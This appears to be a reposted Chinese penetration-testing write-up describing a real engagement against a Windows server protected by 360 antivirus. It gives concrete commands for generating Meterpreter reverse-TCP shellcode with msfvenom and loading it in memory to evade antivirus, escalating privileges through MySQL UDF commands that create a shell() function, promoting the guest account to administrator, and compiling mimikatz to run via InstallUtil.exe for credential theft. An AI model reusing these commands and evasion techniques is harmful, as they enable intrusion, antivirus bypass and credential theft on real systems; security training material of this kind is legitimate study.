渗透体系的本质是知识点的串联

栏目: 数据库 · Mysql · 发布时间: 5年前

内容简介:一次普通的项目,做完后,却沉思很久,遂打算一气呵成整个流程记录下来,此篇再一次的叮嘱我:分享便是我最好的老师。——Micropoor

渗透体系的本质是知识点的串联

一次普通的项目,做完后,却沉思很久,遂打算一气呵成整个流程记录下来,此篇再一次的叮嘱我:分享便是我最好的老师。

——Micropoor

开篇: shell 过程略过。 (由于文章在项目实施结束形成,故部分无图或补图)

1

目标机背景

windows 2008 r2 x64位 360主动+360卫士+360杀毒+waf,目标机仅支持aspx。运行OAWeb服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql数据库,不支持php,无.netfor mysql 驱动)

渗透体系的本质是知识点的串联

端口开放如下:

渗透体系的本质是知识点的串联  

2

需解决的问题1:payload

由于目标机,安装某套装,payload一定是必须要解决的问题。当tasklist的时候,看到如下图几个进程的时候,第一反应就是需要做payload分离免杀。分离免杀主要分两大类,一类为第三方分离免杀,一类为自带安装分离免杀。文章中,采取了 第三方分离免杀

渗透体系的本质是知识点的串联

本地补图(由于项目在实施后形成该文章,故本地靶机补图)

目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候,特征越容易查杀。

既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种常用手法。载入内存。

0x00:以msf为例:监听端口

渗透体系的本质是知识点的串联

0x001:这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为: msfvenom -pwindows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -ex86/shikata_ga_nai -i 5 -f raw > test.c

渗透体系的本质是知识点的串联

0x002:既然是shellcode方式的payload,那么需要借助第三方来启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一个github一个开源:

https://github.com/clinicallyinane/shellcode_launcher/

(作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。)

渗透体系的本质是知识点的串联

生成的payload大小如下:476字节。

渗透体系的本质是知识点的串联

世界杀毒网:

渗透体系的本质是知识点的串联

上线成功。

渗透体系的本质是知识点的串联

而关于自带安装分离免杀,请参考我在公司Wiki上写的第六十九课时 payload分离免杀思路第二季

payload反弹到vps的msf上,我的权限仅仅如下。

渗透体系的本质是知识点的串联

3

需解决的问题2:提权

参考主机背景图,184个补丁,以及某套装。遂放弃了exp提权。

l   原因1:需要更多的时间消耗在对反病毒软件对抗。

l   原因2:目标机补丁过多。需要消耗更多的时间

l   原因3:非常艰难的环境下,拿到了权限,不想因为某些exp导致蓝屏从而丢失权限。

开始翻阅目标机上的文件,以及搜集目标机的端口,服务,启动等一系列信息。发现目标机安装mysql,并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log

下载目标机*..MYI,*.MYD,*.frm,加载于本地mysql。得到目标机root密码

渗透体系的本质是知识点的串联

而目标机没有相关脚本环境连接mysql,到这里,可以有2个方向针对该问题作出解决

l   一:转发目标机端口到本地,从而操作mysql。

l   二:在非交互式下,完成mysql udf的提权。

为了减少目标主机的流量探测,以及维护来之不易的session,故选择了第二种方案。非交互式下,mysql提权。

命令行下,调用 mysql 是需要在启动一个mysql窗口,从而继续执行,而session下没有这样的条件。但mysql的 -e参数 作为直接执行 sql 语句,从而不另启动窗口。而-e需要注意的事项,use database。

也就是所有参数需要mysql.xxxx

渗透体系的本质是知识点的串联

如没有指定database,将会出现如下错误,而使用UNION,将不会有回显,一定出现问题,将会很难定位,故选择以mysql.x的方式指定。

渗透体系的本质是知识点的串联

大致流程如下:

mysql -uroot-pXXXXXX  -e "create table mysql.a(cmd LONGBLOB);"

mysql -uroot-pXXXXXX  -e "insert into mysql.a(cmd) values (hex(load_file('D:\XXXXXXXXXX\mysql5\lib\plugin\u.dll')));"

mysql -uroot-pXXXXXX  -e "SELECT unhex(cmd) FROMmysql.a INTO DUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"

mysql -uroot-pXXXXXX  -e "CREATE FUNCTION shellRETURNS STRING SONAME 'uu.dll'"

mysql -uroot-pXXXXXX  -e "selectshell('cmd','whoami');"

渗透体系的本质是知识点的串联

4

需解决的问题3:登录服务器

在有套装的环境下,默认拦截cmd下加帐号,而目前又无法抓取系统登录明文。mimikatz被查杀。cmd下调用powershell被拦截。遂选择激活guest帐号,并提升到administrators组,来临时登录目标机。

渗透体系的本质是知识点的串联

渗透体系的本质是知识点的串联

socks代理登录目标机:

渗透体系的本质是知识点的串联

5

需解决的问题4:抓取目标机明文密码

登录服务器后,目前依然不知道目标机的密码。这里有两种方向来解决该问题。

一:关闭我能关闭的套装,由于管理员没有注销登录。能关闭的有限。

二:分离免杀做mimikatz密码抓取

作者选择了第二种方案:

这里需要用到 csc.exe,与InstallUtil.exe

关于两个文件默认安装位置:(注意x32,x64区别)

C:WindowsMicrosoft.NETFramework

C:WindowsMicrosoft.NETFramework64

C:WindowsMicrosoft.NETFramework

C:WindowsMicrosoft.NETFramework64

分别执行:

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library/out:Micropoor.exe /keyfile:C:UsersJohnnDesktopinstallutil.snk /unsafeC:UsersJohnnDesktopmimi.cs

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe/logfile= /LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe

渗透体系的本质是知识点的串联

渗透体系的本质是知识点的串联

6

派生出的问题5:横向渗透  

关于第五个问题,本意并不是该篇幅所要讲述的,后续是搜集目标机的mssql,mysql,rdp密码。搜集所在内网的拓扑,来辅助本次的横向扩展。便完成了本次的项目。

如需具体,请参考我在Wiki上的系列教程78,79,12,13,71课时。

渗透体系的本质是知识点的串联

渗透体系的本质是知识点的串联

作者的话:

本次的整个流程,并没有遇到太多的问题,仅仅是把几个知识点的串联起来,形成的一个完整的渗透。也许你了解知识点1,也了解知识点2,还了解知识点3等等。 但是一次完整的项目是离不开每一个知识点的串联与灵活运用。 这应该是每一个信息安全从业人员值得思考的问题。

在每次分享的同时,深深发现,原来分享,才是我最好的老师。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据挖掘导论

数据挖掘导论

Pang-Ning Tan, Michael Steinbach / 范明 范宏建 / 人民邮电出版社 / 2006-01-01 / 49.00元

本书全面介绍了数据挖掘的理论和方法,旨在为读者提供将数据挖掘应用于实际问题所必需的知识。本书涵盖五个主题:数据、分类、关联分析、聚类和异常检测。除异常检测外,每个主题都包含两章:前面一章讲述基本概念、代表性算法和评估技术,后面一章较深入地讨论高级概念和算法。目的是使读者在透彻地理解数据挖掘基础的同时,还能了解更多重要的高级主题。此外,书中还提供了大量示例、图表和习题。 本书适合作为......一起来看看 《数据挖掘导论》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具